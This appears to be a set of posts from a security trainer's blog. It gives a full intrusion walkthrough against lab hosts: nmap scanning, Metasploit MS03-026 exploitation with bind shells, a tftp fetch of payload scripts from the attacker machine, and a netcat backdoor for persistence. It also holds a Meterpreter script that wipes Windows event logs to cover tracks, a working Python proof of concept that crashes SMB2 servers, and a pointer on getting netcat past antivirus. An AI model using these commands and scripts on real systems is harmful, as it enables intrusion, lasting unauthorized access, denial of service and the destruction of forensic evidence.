Netcat and AntiVirus (bypass) ...

If your Netcat is detected by AntiVirus, you can do something with it.

Check this out:
http://www.packetstormsecurity.org/papers/virus/Taking_Back_Netcat.pdf

Good tutorial :)

Tutorial: Complete Hacking Steps

Complete Hacking Steps (TEST-XP2 vs DEN-WEB2) - Classic Method 

TEST-XP2 = 131.107.1.222
DEN-WEB2 = 131.107.1.254

Step 1: Information Gathering (Scanning)

Scan Target with Nmap:
nmap -A 131.107.1.254

Step 2: Vulnerability Identification

Use Google search to find vulnerabilities on 131.107.1.254, based on the result of Step 1.

Example: MS03-026 (MS-RPC DCOM Vulnerability) or Scan with Nessus vulnerability scanner.

Step 3: Gain Access/Exploitation

Use Metasploit Framework 2.x or 3.x. Find the correct module (eq. MS03-026)

>> Metasploit 2.x

msf > use msrpc_dcom_ms03_026
msf > set PAYLOAD win32_bind
msf > set RHOST 131.107.1.254
msf > set LPORT 5555
msf > exploit

>> Metasploit 3.x

msf > use windows/dcerpc/ms03_026_dcom
msf > set PAYLOAD windows/shell/bind_tcp
msf > set RHOST 131.107.1.254
msf > set LPORT 5555
msf > exploit

Step 4: Maintain Access

Ensure that you have launched the TFTPD32 (tftp server).

Upload all necessary scripts...
C:\WINDOWS\System32>tftp -i 131.107.1.222 GET start.cmd
C:\WINDOWS\System32>tftp -i 131.107.1.222 GET cleanup.cmd

Run the script...
C:\WINDOWS\System32>start.cmd

On TEST-XP2 machine, do the following:

Connect via Remote Desktop ...
User: myadmin
Password: P@ssw0rd

Open a new command prompt.
Launch Netcat to connect to the open port 443 on the remote machine...
Z:\Tools\NC>nc -v 131.107.1.254 443

Open another new command prompt.
Force the Target machine to reboot ...

Option 1: PSShutdown
Z:\Tools\SysinternalsSuite>psshutdown -r -f -u myadmin -p P@ssw0rd \\131.107.1.254

Option 2: Metasploit module
msf > use msasn1_ms04_007_killbill
msf > set PAYLOAD win32_bind
msf > set RHOST 131.107.1.254
msf > exploit

After rebooted, log on to DEN-WEB2 machine with:
User: administrator
Password: P@ssw0rd

Switch to TEST-XP2 machine.

You should see your Netcat get connected.
Now you can connect to the Target machine at anytime.

If not, re-run the command:

Z:\Tools\NC>nc -v 131.107.1.254 443

Step 5: Cover Tracks/Housekeeping

Close your Metasploit Framework console window.
Switch to the Netcat opened command prompt.

Run the housekeeping script...

C:\WINDOWS\System32>cleanup.cmd

Check the Audit settings and Event logs. All should be cleared.

New Security Books - Recommended by Me!

Check this out:

Nmap Network Scanning
http://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717/ref=sr_1_1?ie=UTF8&s=books&qid=1257826537&sr=8-1

Professional Penetration Tester
http://www.amazon.com/Professional-Penetration-Testing-Creating-Operating/dp/1597494259/ref=sr_1_1?ie=UTF8&s=books&qid=1257826622&sr=1-1

I have read these books and I found that they have discussed lot of interesting topics. Must have for Security Professionals.

For DVD contents, please email me.

Metasploit Framework 3.x Meterpreter Script

In the last step of Hacking, we know that we need to "clear the tracks" or known as "housekeeping". If you use meterpreter payload, you could run this script to clear the logs on the victim machine:

ClearLogs.rb

# Clears Windows Event Logs

evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
puts ("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
puts ("Clearing the #{evl} Event Log")
log = client.sys.eventlog.open(evl)
log.clear
end
puts ("All Clear! You are a Ninja!")

Save it and call it within the meterpreter.

meterpreter > run clearlogs

and Bingo! all logs are cleared...

Immunity Debugger

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry's first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

- A debugger with functionality designed specifically for the security industry
- Cuts exploit development time by 50%
- Simple, understandable interfaces
- Robust and powerful scripting language for automating intelligent debugging
- Lightweight and fast debugging to prevent corruption during complex analysis
- Connectivity to fuzzers and exploit development tools

Check it out:
http://www.immunityinc.com/products-immdbg.shtml

It's Free!!!

Vulnerabilities in SMB Could Allow Remote Code Execution

Check this out:
http://www.microsoft.com/technet/security/advisory/975497.mspx
and this...
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Credit: http://g-laurent.blogspot.com/

I have personally tested with Windows Vista SP2 and Windows Server 2008 SP2.
All worked fine...

It's actually caused by the SRV2.SYS driver used by Vista, Windows Server 2008 and Windows 7 RC. It does not seem to effect Windows Server 2003, Windows XP and Windows 2000.

PoC:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445

buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Vmware Virtual Machine Image Files Unauthorized Usage

For those who use the CEH/ECSA/LPT and CHFI Vmware virtual machine image files "Created by Semi", please do not hesitate to inform me as I'm tracking the usage of those files. Any illegal or unauthorized usage detected should not be tolerate as I was creating them for the purpose of my delivery in EC-Council security related courses/training.

- Semi